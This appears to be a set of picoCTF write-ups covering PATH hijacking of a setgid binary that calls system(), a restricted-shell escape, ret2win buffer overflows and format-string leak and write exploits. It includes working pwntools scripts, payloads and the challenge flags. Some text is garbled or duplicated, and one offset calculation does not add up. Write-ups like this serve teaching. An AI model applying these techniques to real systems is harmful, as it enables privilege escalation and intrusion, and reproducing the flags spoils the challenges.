hash only 1
initial look
ran the binary:
./flaghasheroutput:
computing the md5 hash of /root/flag.txt....7779dbbe8c1228e3a7a3970faa41a89c /root/flag.txtlooks like it just hashes the flag. tempting to crack md5, but pico usually doesn’t do that.
recon
checked for dangerous functions:
strings flaghasher | grep systemresult:
system error: system() call returned non-zero valueso it uses system(), which is a classic target.
assembly analysis

looking at main:
- prints a message using
std::cout - prints newline twice
- calls
sleep(2) - constructs a string (likely
/root/flag.txt) - calls
setgid(0) - later (not shown in snippet) calls
system()to execute md5sum
key takeaway:
- program likely runs something like
md5sum /root/flag.txt - uses
system()→ command lookup depends on$path
c translation (from assembly)
#include <iostream>#include <string>#include <unistd.h>
int main() { std::cout << "computing the md5 hash of /root/flag.txt...." << std::endl; std::cout << std::endl; sleep(2); std::string s = "/root/flag.txt"; setgid(0); return 0;}exploit idea: path hijacking
since system() is used, and it probably calls md5sum without full path, we can override it.
Here’s a cleaned, properly formatted version of your Markdown with consistent structure, code blocks, and capitalization:
Exploit Steps
1. Create Fake md5sum
echo '#!/bin/sh' > md5sumecho 'cat /root/flag.txt' >> md5sumchmod +x md5sum2. Prepend Current Directory to PATH
export PATH=$(pwd):$PATH3. Run Binary
./flaghasherResult

picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_bb95ff8e}Why It Works
- The binary uses
system()via/bin/bash -c md5sumis not called with a full pathbashresolves it using$PATH- We control
$PATH - Our fake
md5sumruns instead - The binary executes it with elevated privileges
Final
flag = picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_bb95ff8e}hash only 2
initial look
ssh into the challenge:
ssh ctf-player@rescued-float.picoctf.net -p 64519you land in a restricted shell (rbash):
- no
sudo sudoesn’t work- can’t access
/challenge - commands are limited
so first problem isn’t the binary, it’s the shell.
escaping restricted shell
just run:
bashthis drops you into a normal shell:

ctf-player@challenge:~$now you can modify environment variables like $PATH, which is what we need.
recon
check for interesting binaries:
ls /usr/local/binyou’ll find:
flaghasherrun it:
flaghasheroutput:
computing the md5 hash of /root/flag.txt....ecbb7393ae1660f00340b6194d5bf6a6 /root/flag.txtsame behavior as hash only 1.
so again:
- it hashes
/root/flag.txt - probably uses
system() - likely calls
md5sumwithout full path
this means path hijacking should work again.
exploit – path hijacking
create a fake md5sum in current directory:
echo '#!/bin/sh' > md5sumecho 'cat /root/flag.txt' >> md5sumchmod +x md5sum
prepend current directory to path:
export PATH=$(pwd):$PATHrun the binary again:
flaghasherresult
instead of hashing, it executes our fake script:
picoctf{co-@uth0r_of_sy5tem_b!n@ries_364b3672}why it works
- binary uses
system()to runmd5sum md5sumis not called with absolute path- shell resolves it using
$PATH - we control
$PATH - our fake
md5sumruns instead - binary runs it with elevated privileges
final flag
picoctf{co-@uth0r_of_sy5tem_b!n@ries_364b3672}echo escape 1
initial look
ran the service:
nc mysterious-sea.picoctf.net 58747output:
welcome to the secure echo service!please enter your name:it echoes back whatever we send.
recon
look at the source:
char buf[32];read(0, buf, 128);this is immediately suspicious:
- buffer is 32 bytes
- read allows 128 bytes
- classic overflow
there is also a hidden function:
void win()that prints the flag.
behavior testing
sending increasing input:
- small input → works
- long input → program crashes
example:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBcrashes → confirms overwrite past buffer.
stack layout
64-bit binary, so:
[ buf (32) ][ saved rbp (8) ][ return address (8) ]offset to return address:
32 + 8 = 40 bytesexploit idea
overwrite return address with address of win()
payload:
"A"*40 + win_addrexploit
from pwn import *
payload = b"A"*40 + p64(0x401256)
p = remote("mysterious-sea.picoctf.net", 58747)
p.send(payload)p.interactive()result
program jumps to win() and prints the flag.
why it works
read()ignores buffer size- overflow overwrites return address
- function returns → jumps to
win()
final
flag = picoCTF{3ch0_s3rv1c3_br34k5_7287203f}echo escape 2
initial look
ran binary:
./vulnoutput:
enter the secret key:input gets echoed back.
recon
source:
char buf[32];fgets(buf, 128, stdin);again:
- buffer is 32 bytes
- fgets reads 128 bytes
- still vulnerable
there is also:
void win()prints the flag.
assembly check
objdump -d ./vuln | grep winresult:
08049276 <win>so:
- 32-bit binary
- win address =
0x08049276
stack layout
32-bit:
[ buf (32) ][ saved ebp (4) ][ return address (4) ]offset to return address:
40 + 4 = 44 bytesexploit idea
same as before:
overwrite return address → jump to win()
payload:
"A"*44 + win_addrexploit
from pwn import *
context.arch = 'i386'
win_addr = 0x08049276
payload = b"A" * 44 + p32(win_addr)
p = remote("dolphin-cove.picoctf.net", 51291)p.recvuntil(b":")p.sendline(payload)print(p.recvall())p.close()notes
- must use
p32()(32-bit) - offset is 44
- fgets may include newline, so sendline is usually fine
result
execution returns into win() and prints the flag.
why it works
- fgets is misused with wrong size
- overflow overwrites return address
- control flow redirected to
win()
final
flag = picoCTF{fgets_0v3rfl0w42_bc4aa3d4}format string 1
initial look
ran binary:
./format-string-1output:
give me your order and i'll read it back to you:input gets echoed back.
recon
source (important part):
char buf[1024];scanf("%1024s", buf);
printf("here's your order: ");printf(buf);observations:
- user input stored in
buf - printed using
printf(buf)→ format string vulnerability - no format specifier → user controls format behavior
also:
char secret1[64];char flag[64];char secret2[64];→ sensitive data stored on stack
binary check
connect via netcat:
nc mimas.picoctf.net 64059output indicates a 64-bit service running, so:
- architecture: x86-64
- little endian
- arguments passed in registers (important later)
exploit idea
since:
printf(buf);→ we control format string
goal:
- leak memory using
%x/%p - find flag on stack
stack probing
because of:
scanf("%s", buf);→ input stops at whitespace
so payload must NOT contain spaces

used:
%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p.%19$p.%20$pleak result
output:
0x1.0x7ffe89a3a580.(nil).(nil).0x7b4654436f6369700x355f31346d316e340x3478345f333179370x34365f673431665f0x7d363131373732...important values:
0x7b4654436f6369700x355f31346d316e340x3478345f333179370x34365f673431665f0x7d363131373732analysis
these are:
- 64-bit values
- each = 8 bytes
- represent ascii
- stored in little endian
so: must reverse bytes per chunk
decoding
chunk 1:
0x7b4654436f636970→ bytes: 70 69 63 6f 43 54 46 7b→ ascii: picoctf{chunk 2:
0x355f31346d316e34→ 34 6e 31 6d 34 31 5f 35→ 4n1m41_5chunk 3:
0x3478345f33317937→ 37 79 31 33 5f 34 78 34→ 7y13_4x4chunk 4:
0x34365f673431665f→ 5f 66 31 34 67 5f 36 34→ _f14g_64chunk 5:
0x7d363131373732→ 32 37 37 31 31 36 7d→ 277116}final flag
picoctf{4n1m41_5_7y13_4x4_f14g_64277116}notes
%pleaks stack values- 64-bit → leaks are 8 bytes at a time
- little endian → reverse bytes before ascii
- no need for
%sin this challenge - avoid spaces due to
scanf("%s")
why it works
printf(buf)lets user control format string%preads unintended memory- flag stored on stack → leaked directly
- decoding reveals full flag
format string 2
initial look
ran binary:
Terminal window
./vuln
output:
You don’t have what it takes. Only a true wizard could change my suspicions. What do you have to say?
input gets echoed back.
recon
observed behavior:
- input is printed back using
printf - no format string specified → likely
printf(buf)
this indicates a format string vulnerability
security check
Terminal window
checksec —file=vuln
result:
- Partial RELRO
- No canary
- NX enabled
- No PIE
so:
- addresses are static (important)
- global variables have fixed addresses
target identification
in gdb:
Terminal window
p &sus
result:
0x404060
so:
susis a global variable- stored in
.data - writable
- fixed address (no PIE)
initial value:
0x21737573 → “sus!”
goal:
overwrite sus with:
0x67616c66 → “flag”
finding offset
sent probe:
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
output showed:
0x2e70252e41414141
→ contains 41414141 (“AAAA”)
counting position:
offset = 14
exploit idea
use format string to perform arbitrary write:
- place target address in input
- use
%n-family specifiers to write value - control write using padding
since 64-bit:
- use
%hhn(byte-wise writes) - more reliable than
%n
payload strategy
write 4 bytes of:
0x67616c66
into:
0x404060
using:
fmtstr_payload- offset = 14
- byte-wise writes
exploit
from pwn import *
context.binary = ’./vuln’
host = “rhea.picoctf.net” port = 63110
sus = 0x404060 offset = 14
io = remote(host, port)
io.recvuntil(b”What do you have to say?\n”)
payload = fmtstr_payload(offset, {sus: 0x67616c66}, write_size=‘byte’)
io.sendline(payload)
io.interactive()
result
program output:
I have NO clue how you did that, you must be a wizard. Here you go…
picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}
why it works
printf(buf)introduces format string vulnerability- attacker controls format specifiers
%nallows writing to arbitrary memory- no PIE →
susaddress is predictable - global variable is writable
- byte-wise writes ensure precise overwrite
control flow depends on value of sus, so modifying it triggers success condition
format string 2
initial look
ran binary:
./vulnoutput:
you don't have what it takes. only a true wizard could change my suspicions. what do you have to say?input gets echoed back.
recon
observed behavior:
- input is printed back using
printf - no format string specified → likely
printf(buf)
this indicates a format string vulnerability
security check
checksec --file=vulnresult:
- partial relro
- no canary
- nx enabled
- no pie
so:
- addresses are static (important)
- global variables have fixed addresses
target identification
in gdb:
p &susresult:
0x404060so:
susis a global variable- stored in
.data - writable
- fixed address (no pie)
initial value:
0x21737573 → "sus!"goal:
overwrite sus with:
0x67616c66 → "flag"finding offset
sent probe:
aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%poutput showed:
0x2e70252e41414141→ contains 41414141 (“aaaa”)
counting position:
offset = 14exploit idea
use format string to perform arbitrary write:
- place target address in input
- use
%n-family specifiers to write value - control write using padding
since 64-bit:
- use
%hhn(byte-wise writes) - more reliable than
%n
payload strategy
write 4 bytes of:
0x67616c66into:
0x404060using:
fmtstr_payload- offset = 14
- byte-wise writes
exploit
from pwn import *
context.binary = './vuln'host = "rhea.picoctf.net"port = 63110
sus = 0x404060offset = 14
io = remote(host, port)io.recvuntil(b"what do you have to say?\n")
payload = fmtstr_payload(offset, {sus: 0x67616c66}, write_size='byte')
io.sendline(payload)io.interactive()result

program output:
i have no clue how you did that, you must be a wizard. here you go...picoctf{f0rm47_57r?_f0rm47_m3m_ccb55fce}why it works
printf(buf)introduces format string vulnerability- attacker controls format specifiers
%nallows writing to arbitrary memory- no pie →
susaddress is predictable - global variable is writable
- byte-wise writes ensure precise overwrite
- control flow depends on value of
sus, so modifying it triggers success condition